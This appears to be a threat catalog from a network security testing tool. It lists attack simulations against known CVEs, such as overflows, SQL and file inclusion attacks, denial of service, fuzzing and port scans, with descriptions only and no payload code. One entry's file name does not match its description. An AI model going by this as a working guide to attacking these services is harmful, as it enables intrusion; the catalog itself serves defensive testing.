Detailed Description:	There exists a buffer overflow vulnerability in the Microsoft Internet Explorer product. The flaw is caused by an improper check of the MHTML URI string. An attacker may exploit this vulnerability to cause a denial of service condition. A code execution attack is not possible as a stack integrity feature is present in the affected application.
Protocol Type:	HTTP
CVEID:	CVE-2006-2766
Threat Package:	Standard

Threat File Name:	winproxy_bof_host_IPv6.xml
Executive Description:	WinProxy 6.0 Remote Stack/SEH Overflow Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted Host field within an HTTP query causing a buffer overflow, and arbitrary execution. WinProxy is an HTTP proxy that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4085
OSVDB:	22238
Threat File Name:	FSC20070904-05_ClamAV_Mail_Filter_Extension_Crafted_Recipient_Command_Execution_IPv6.xml
Executive Description:	ClamAV Mail Filter Extension Crafted Recipient Command Execution (IPv6 Version)
Detailed Description:	shell command injection vulnerability exists in ClamAV AntiVirus product. The vulnerability can be triggered when the application processes malicious SMTP commands. An unauthenticated attacker can exploit this vulnerability by delivering a crafted request to the target host, resulting in command injection and execution with privileges of the affected ClamAV application. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2007-4560
Threat Package:	Standard
Threat File Name:	mxshop_prd_ctg_sqli.xml
Executive Description:	MX Shop Pages Module 'id_prd' variable SQL Injection
Detailed Description:	This threat sends a crafted URL containing an SQL query which is executed by the server with the servers permissions. MX Shop is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3004
OSVDB:	19611
Threat File Name:	FSC20070710-18_Microsoft__NET_Framework_CLI_Loader_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft .NET Framework CLI Loader Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft .NET Framework. The vulnerability is due to the Common Language Infrastructure (CLI) Loader does not properly parse certain crafted data. A remote attacker can exploit this vulnerability by persuading a target user to open a specially crafted CLI file, potentially terminating the client application and causing Denial of Service. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0041
Threat Package:	Standard
Threat File Name:	TSL20140715-10_HP_Intelligent_Management_Center_BIMS_UploadServlet_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center BIMS UploadServlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the BIMS add-in module of HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the UploadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system. Tester need to set variable \$destPort to 8080 or 8443 before test.
Protocol Type:	HTTP8080/HTTPS8443
CVEID:	CVE-2014-2618
OSVDB:	109168
Threat File Name:	FSC20101214-37_Microsoft_Office_TIFF_Image_Converter_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Office TIFF Image Converter Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office parses crafted TIFF image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product. Note: Microsoft has advised that the MS10-087 patch must be applied to mitigate this vulnerability.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3947
Threat File Name:	FSC20100326-07_Apple_Safari_Right-to-Left_Text_Rendering_Use_After_Free_Vulnerability_IPv6.xml
Executive Description:	Apple Safari Right-to-Left Text Rendering Use After Free Vulnerability(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Apple Safari. The vulnerability is due to a use-after-free error when handling HTML elements containing right-to-left displayed text. Remote attackers can exploit this vulnerability to execute arbitrary code on the target machine by enticing a user into opening a specially crafted HTML document. In attack scenarios where code execution is successful, the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0049
Threat Package:	Standard
Threat File Name:	TSL20150423-08_Magento_Forwarded_Parameter_Authentication_Bypass_IPv6.xml
Executive Description:	Magento Forwarded Parameter Authentication Bypass IPv6 version.
Detailed Description:	An authentication bypass vulnerability exists in the e-commerce platform Magento. The vulnerability is due to a logic error when handling a user controlled parameter in the login mechanism. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the target. Successful exploitation of this vulnerability may allow the attacker to gain access to the target system.
Protocol Type:	HTTP/HTTPS. IPv6
CVEID:	CVE-2015-1398
OSVDB:	121261
Threat File Name:	mailsite_xss_IPv6.xml
Executive Description:	Rockliffe MailSite HTTP Management Agent WCONSOLE.DLL XSS (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. Rockliffe Mailsite uses a web based interface that typically listens on port 90. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0341
OSVDB:	22677
Threat File Name:	FSC20081014-25_Microsoft_Windows_SMB_Search_Request_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows SMB Search Request Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows SMB services. The flaw is due to insufficient input validation when handling file names. Remote authenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. (IPv6 Version)
Protocol Type:	MICROSOFT-DS/IPv6
CVEID:	CVE-2008-4038
Threat Package:	Standard
Threat File Name:	gimp_ras_bof.xml
Executive Description:	Gimp 2.2.14 .RAS File Download/Execute Buffer Overflow
Detailed Description:	This threat is a download of a malicious RAS file demonstrating a flaw in gimps RAS file parser. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3945
Threat Package:	Standard
Threat File Name:	TSL20150204-02_ManageEngine_Multiple_Products_FailOverHelperServlet_copyfile_Information_Disclosure_IPv6.xml
Executive Description:	ManageEngine Multiple Products FailOverHelperServlet copyfile Information Disclosure IPv6 version.
Detailed Description:	An information disclosure vulnerability exists in ManageEngine OpManager, Applications Manager and IT360. The vulnerability is due to lack of authentication and insufficient input validation of the a parameter sent to FailOverHelperServlet in HTTP requests. A remote unauthenticated attacker can leverage this vulnerability by sending malicious HTTP requests the server. Upon successful attack, the attacker can download arbitrary files from arbitrary locations on the server or perform a directory listing to disclose information.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2014-7863
OSVDB:	117695
Threat File Name:	TSL20170110-02_Microsoft_Windows_LSASS_Authentication_Denial_of_Service.xml
Executive Description:	Microsoft Windows LSASS Authentication Denial of Service
Detailed Description:	A denial-of-service vulnerability exists in Microsoft Windows. The vulnerability is due to a failure to properly process crafted requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target system, causing the lsass.exe process to terminate. This results in a non-responsive system.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0004
Threat File Name:	FSC20110412-17_Microsoft_Windows_OpenType_Font_Parsing_Stack_Overflow_IPv6.xml
Executive Description:	Microsoft Windows OpenType Font Parsing Stack Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in the Microsoft Windows OpenType Font (OTF) driver. The vulnerability is due to insufficient validation of a calculation involving a FontMatrix value while processing the Compact Font Format data inside an OpenType font. Remote attackers can exploit this vulnerability by enticing target users to view a maliciously crafted font in an application that utilizes the affected library, such as Windows FontViewer. Successful exploitation would possibly result in code execution in the security context of Ring 0 (kernel). If code execution is unsuccessful, the affected system will terminate and result in BSOD.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0034
Threat File Name:	mediagallery_geeklog_cmi_IPv6.xml
Executive Description:	Media Gallery for Geeklog <= 1.4.8a Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Media Gallery for Geeklog is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2706
Threat Package:	Standard
Threat File Name:	witshare_rfi_IPv6.xml
Executive Description:	WitShare 0.9 index.php Local File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WitShare is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	msie_xmlcore_cmi.xml
Executive Description:	MS Internet Explorer 6/7 (XML Core Services) Remote Code Execution Vulnerability
Detailed Description:	This threat leverages a flaw in the setRequestHeader method in the XMLHTTP (XML HTTP) ActiveX Control 4.0 in Microsoft XML Core Services 4.0 on Windows, when accessed by Internet Explorer, allows remote code execution on the client host. This affects Internet Explorer Web Browser clients that typically connect to the http port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5745
Threat Package:	Standard
Threat File Name:	TSL20140217-03_FreePBX_Framework_Module_config.php_Code_Execution.xml
Executive Description:	FreePBX Framework Module config.php Code Execution
Detailed Description:	A code execution vulnerability exists in FreePBX. The vulnerability is due to an error in admin/config.php, the main interface to FreePBX. A remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code on the vulnerable system with the privileges of FreePBX.
Protocol Type:	HTTP
CVEID:	CVE-2014-1903

Threat File Name:	TSL20150729-01_ISC_BIND_TKEY_Queries_Assertion_Failure.xml
Executive Description:	ISC BIND TKEY Queries Assertion Failure
Detailed Description:	A denial-of-service vulnerability has been reported in BIND. The vulnerability is due to improperly handling TKEY queries. An unauthenticated, remote attacker can send a crafted packet to trigger a REQUIRE assertion failure, causing BIND to exit. Successful attack results in a denial-of-service condition. Tester should set variable \$destport to 53 before test.
Protocol Type:	DNS
CVEID:	CVE-2015-5477
Threat File Name:	TSL20150612-05_OpenSSL_X509_cmp_time_Denial_of_Service_IPv6.xml
Executive Description:	OpenSSL X509_cmp_time Denial of Service IPv6 version.
Detailed Description:	A denial-of-service vulnerability exists in OpenSSL. The vulnerability is due to an error in X509_cmp_time() that causes OpenSSL to read beyond the end of a buffer. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted certificate to a vulnerable OpenSSL client or server application. Successful exploitation will cause the application to terminate, resulting in a denial-of-service condition. Tester should set the variable \$destPort to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS/SIPS.IPv6
CVEID:	CVE-2015-1789
Threat File Name:	TSL20151202-15_Unitronics_VisiLogic_OPLC_IDE_TeePreviewer_ChartLink_Memory_Corruption.xml
Executive Description:	Unitronics VisiLogic OPLC IDE TeePreviewer ChartLink Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Unitronics VisiLogic OPLC IDE. The vulnerability is due to a flaw in the TeePreviewer object in TeeChart5.ocx, in which a user-supplied integer is interpreted as a memory address. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious Web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2015-6478
Threat File Name:	TSL20150811-02_GnuTLS_DistinguishedName_Decoding_Double_Free_IPv6.xml
Executive Description:	GnuTLS DistinguishedName Decoding Double Free IPv6 version
Detailed Description:	A double-free vulnerability has been reported in GnuTLS. The vulnerability is due to an error within gnutls_x509_dn_to_string() while processing very long Distinguished Name values in X.509 certificates. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted certificate to a vulnerable GnuTLS client or server application. Successful exploitation will cause the application execute arbitrary code; an unsuccessful exploit attempt may cause the application to terminate, resulting in a denial-of-service condition. Tester should set variable \$destport to 443 before test.
Protocol Type:	TLS/HTTPS/SMTP/SMTPS/SIPS.IPv6
CVEID:	CVE-2015-6251
Threat File Name:	FSC20070605-11_CA_Multiple_Product_AV_Engine_CAB_Header_Parsing_Stack_Overflow_IPv6.xml
Executive Description:	CA Multiple Product AV Engine CAB Header Parsing Stack Overflow (IPv6 Version)
Detailed Description:	There exists a stack-based buffer overflow vulnerability in multiple Computer Associates products. The vulnerability exists in the component that processes CAB files. A remote unauthenticated attacker can exploit the vulnerability causing a denial of service condition or the execution of arbitrary code on the target system through delivering a specially crafted CAB file to the target. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2864
Threat Package:	Standard
Threat File Name:	ms03-046.xml
Executive Description:	Microsoft Exchange Denial Of Service
Detailed Description:	This threat sends a large amount of data to an Exchange specific command, causing consumption of resources. Exchange is a mailserver, and this particular attack is aimed at the SMTP service of exchange, which typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2003-0714
OSVDB:	2674
Threat Package:	Standard
Threat File Name:	FSC20071105-16_Apple_QuickTime_STSD_Atoms_Handling_Heap_Overflow_IPv6.xml
Executive Description:	Apple QuickTime STSD Atoms Handling Heap Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Apple QuickTime. The flaw is due to boundary errors when processing the Sample Table Sample Descriptor (STSD) atom in QuickTime movie files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3750
Threat Package:	Standard
Threat File Name:	troforum_rfi_IPv6.xml
Executive Description:	TROforum 0.1 (admin.php site_url) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. TROforum is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2937
Threat Package:	Standard
Threat File Name:	samiftp_bof_IPv6.xml
Executive Description:	1-2-All Broadcast E-mail /admin/index.php Username Field SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. 1-2-All Broadcast E-mail is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3679
OSVDB:	20949

Threat File Name:	TSL20111024-07_Oracle_AutoVue_AutoVueX_ActiveX_Control_Export3DBom_Remote_File_Creation_IPv6.xml
Executive Description:	Oracle AutoVue AutoVueX ActiveX Control Export3DBom Remote File Creation(IPv6 VERSION)
Detailed Description:	An insecure method is exposed by Oracle AutoVue. The vulnerability is due to the AUTOVUEX.AutoVueXCtrl (AutoVueX.ocx) ActiveX control including the insecure "Export3DBom()" method. This can be exploited to write arbitrary files in the context of the currently logged-on user. A remote attacker could possibly exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.
Protocol Type:	IPv6,HTTP,HTTPS
Threat File Name:	sipinvite2543_IPv6.xml
Executive Description:	SIPPING: RFC 2543 INVITE (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message using the old RFC 2543 standards. This should be accepted in a backwards-compatible implementation, but otherwise it may confuse or crash the implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	etherealISNS.xml
Executive Description:	Ethereal iSNS Zero-Length Crash
Detailed Description:	This threat sends a malformed packet that causes the protocol dissector of Ethereal to crash. This can be used by an attacker to prevent a network administrator from sniffing network traffic.
Protocol Type:	iSNS
CVEID:	CVE-2004-0633
OSVDB:	7536
Threat Package:	Standard
Threat File Name:	firefoxScroll_IPv6.xml
Executive Description:	Firefox XUL Drag and Drop Security Bypass (IPv6 Version)
Detailed Description:	This threat sends a malicious webpage designed to bypass Firefox's security restrictions on accessing local files. By using this attack, a user can access certain XUL scripts contained in extensions on the web browser. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0401
OSVDB:	15010
Threat Package:	Standard
Threat File Name:	malformedICMP_IPv6.xml
Executive Description:	Malformed Random ICMP Packet (IPv6 Version)
Detailed Description:	This threat sends multiple malformed ICMP packets. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2004-1432
OSVDB:	8150
Threat Package:	Standard
Threat File Name:	iphoto_xml_fmt_IPv6.xml
Executive Description:	iPhoto Photocast XML Title Format String Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a maliciously constructed iPhoto XML feed which takes advantage of a format string vulnerability in some versions of iPhoto. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20041028-01_Squid_ASN.1_Header_Parsing_Denial_of_Service.xml
Executive Description:	Squid ASN.1 Header Parsing Denial of Service
Detailed Description:	There is a vulnerability in the way Squid web proxy parses SNMP messages. An SNMP message with specially crafted ASN.1 length fields can generate memory access violation errors. The exception generated by these errors can cause the product to restart, creating a denial of service condition for active transactions.
Protocol Type:	FILECAST
CVEID:	CVE-2004-0918
Threat Package:	Standard
Threat File Name:	TSL20111011-16_Microsoft_Internet_Explorer_Scroll_Event_Use-After-Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Scroll Event Use-After-Free(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer (IE). The vulnerability is due to a use-after-free vulnerability when handling the Scroll Event. A remote attacker can exploit this vulnerability by enticing a target user to visit a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1993
Threat File Name:	FSC20100810-10_Microsoft_Internet_Explorer_HTML_Layout_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Layout Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error in the handling of certain objects. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document.
	In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2560
Threat Package:	Standard
Threat File Name:	TSL20130115-18_Oracle_Outside_In_CorelDRAW_File_Parser_Heap_Buffer_Overflow.xml

Executive Description:	Oracle Outside In CorelDRAW File Parser Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing CorelDRAW files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable libraries to handle a malformed files. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2013-0418
Threat File Name:	TSL20110614-16_Microsoft_Office_Excel_Scenario_Record_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Excel Scenario Record Buffer Overflow(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Excel. The vulnerability is due to a heap buffer overflow leading to memory corruption in the vulnerable product while handling specially crafted Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2011-1275
Threat File Name:	phpworm1_IPv6.xml
Executive Description:	phpinclude.worm Attack 1 (IPv6 Version)
Detailed Description:	This threat attacks a common programming mistake in PHP. The PHP include worm attacks using a generic form of this attack. This is a sample of one version of this worm. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	NOOPtcpSPARC3_IPv6.xml
Executive Description:	TCP NOOP packet variant SPARC 3 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_tick_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with ` (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with ` from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	realplayer_audioservice_IPv6.xml
Executive Description:	RealPlayer 11 local/remote Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malformed AU audio file to cause an exception in RealPlayer 11, leading to a denial of service condition. This threat is delivered via a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3410
Threat Package:	Standard
Threat File Name:	TSL20130211-05_IBM_Java_java_lang_ClassLoader_defineClass_Sandbox_Breach.xml
Executive Description:	IBM Java java.lang.ClassLoader.defineClass Sandbox Breach
Detailed Description:	A sandbox breach vulnerability exists in IBM Java. The vulnerability is due to insecure use of the java.lang.ClassLoader.defineClass method by IBM Java packages. An unauthenticated remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation can result in the execution of arbitrary Java code outside the sandbox.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-4823
OSVDB:	87301
Threat File Name:	FSC20110317-08_Oracle_Java_Applet2ClassLoader_Remote_Code_Execution_IPv6.xml
Executive Description:	Oracle Java Applet2ClassLoader Remote Code Execution(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists within Oracle Java Runtime Environment. The vulnerability is due to insufficient validation of the URLs supplied by an implicitly trusted applet which can allow an untrusted applet to gain all privileges. The vulnerability exists in the "findClass" method of the "Applet2ClassLoader" class. Remote unauthenticated attackers can exploit this vulnerability by enticing a target user to run a Java applet to execute arbitrary code on a target system within the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-4452
Threat File Name:	ultra_crypto_activex_bof.xml
Executive Description:	Ultra Crypto Component (CryptoX.dll <= 2.0) Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Ultra Crypto ActiveX Control, resulting in the execution arbitrary code. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	IE-DOS_stack.xml
Executive Description:	Internet Explorer Stack Overflow Denial Of Service

Detailed Description:	This threat causes Internet Explorer to crash after recursively calling a function more than 110 times. This threat takes advantage of a handler which catches problems in a website to reload the attack. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	portscanNull.xml
Executive Description:	Portscan: Null
Detailed Description:	This threat mimics the behaviour of a Null port scan. A Null scan is packet without any bits set. A proper response should be a RST packet for closed ports, and no reply for open ports. This behaviour can change depending on operating systems and their implementation of the TCP/IP stack.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20101109-04_Microsoft_Office_PowerPoint_TimeVariant_Record_Integer_Underflow_IPv6.xml
Executive Description:	Microsoft Office PowerPoint TimeVariant Record Integer Underflow (IPv6 VERSION)
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to an integer underflow error while processing specially crafted PowerPoint files. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in code execution in the context of the affected application. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2573
Threat File Name:	FSC20090522-06_Novell_GroupWise_Internet_Agent_Email_Address_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Novell GroupWise Internet Agent Email Address Processing Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in the Novell GroupWise. The vulnerability is due to an error while processing specially crafted SMTP requests. Remote attackers can exploit this vulnerability to execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with the security privileges of the server. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2009-1636
Threat Package:	Standard
Threat File Name:	vp-asp_sqli.xml
Executive Description:	VP-ASP Shopping Cart 6.09 Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. VP-ASP Shopping Cart is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0224
Threat Package:	Standard
Threat File Name:	cisco_ips_ssl_crash_IPv6.xml
Executive Description:	Cisco IPS SSL Heap Corruption (IPv6 Version)
Detailed Description:	This threat sends a malformed SSL message to the management port of a Cisco IPS which causes a heap corruption error in the SSL parser. This attack typically goes to port 443. (IPv6 Version)
Protocol Type:	HTTPS/IPv6
CVEID:	CVE-2006-4910
OSVDB:	29037
Threat Package:	Standard
Threat File Name:	FSC20071120-04_FLAC_Project_libFLAC_VORBIS_Comment_String_Size_Buffer_Overflow_IPv6.xml
Executive Description:	FLAC Project libFLAC VORBIS Comment String Size Buffer Overflow (IPv6 Version)
Detailed Description:	A heap memory overflow vulnerability exists in FLAC library embedded and used by various products. The vulnerability is due to boundary errors when processing Free Lossless Audio Codec (FLAC) audio files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted FLAC audio file. Successful exploitation may lead to arbitrary code execution in the security context of the affected application, normally using the privileges of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4619
Threat Package:	Standard
Threat File Name:	FSC20081010-06_Multiple_Vendors_CUPS_HPGL_Filter_Remote_Code_Execution.xml
Executive Description:	Multiple Vendors CUPS HPGL Filter Remote Code Execution
Detailed Description:	There exists a memory corruption vulnerability in Apple's Common Unix Printing System (CUPS) distributed by multiple vendors. The vulnerability is due to a boundary error when handling Hewlett-Packard Graphics Language (HPGL) data. A remote attacker can exploit this vulnerability to inject and execute arbitrary code with privileges of CUPS service, normally lp. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, with the privileges of the printer user, normally lp.
Protocol Type:	IPP
CVEID:	CVE-2008-3641
Threat Package:	Standard
Threat File Name:	FSC20071211-09_Microsoft_DirectX_SAMI_File_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft DirectX SAMI File Parsing Code Execution (IPv6 Version)

Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectX application framework. The vulnerability is due to the way certain DirectX libraries handle specially crafted Synchronized Accessible Media Interchange (SAMI) file type. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted SAMI file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3901
Threat Package:	Standard
Threat File Name:	TSL20110412-20_Microsoft_Windows_Wordpad_Converter_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Wordpad Converter Parsing Memory Corruption(IPv6 Version)
Detailed Description:	Two code execution vulnerabilities exist in Microsoft Windows Wordpad converter. A remote attacker can exploit these vulnerabilities by enticing a target user to access a crafted Word 97 file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may terminate the affected application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0028
Threat File Name:	program_checker_sasatl_activex_bof_IPv6.xml
Executive Description:	sasatl.dll 1.5.0.531 Program Checker-Method DebugMsgLog Heap Spraying Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3703
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-POST_PrepndHTTPWithformats_IPv6.xml
Executive Description:	Fuzz HTTP POST with Request-URI prepended with %s (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	sshBrute_IPv6.xml
Executive Description:	SSH Brute Forcer Mimicking (IPv6 Version)
Detailed Description:	This threat sends out the same Client Protocol field as the SSH brute forcer that is popularly used to discover accounts with weak passwords. The client field can also be used for legitimate applications but would rarely be seen used for this purpose. SSH typically listens on port 22. (IPv6 Version)
Protocol Type:	SSH/IPv6
Threat Package:	Standard
Threat File Name:	wuftpd_globbing_IPv6.xml
Executive Description:	WU-FTP Heap Overflow (IPv6 Version)
Detailed Description:	This threat causes the wu-ftp daemon to crash by sending mismatched curly brackets. This causes a heap overflow and crash, which can lead to potential code execution. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2001-0550
OSVDB:	679
Threat Package:	Standard
Threat File Name:	hasbani_http_crash_IPv6.xml
Executive Description:	Hasbani embedded HTTP server crash (IPv6 Version)
Detailed Description:	This threat is a denial of service against the Hasbani embedded HTTP server. This attack is against a standard http service which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3475
OSVDB:	20447
Threat Package:	Standard
Threat File Name:	azdg_command.xml
Executive Description:	AZGDDatingLite Command Execution
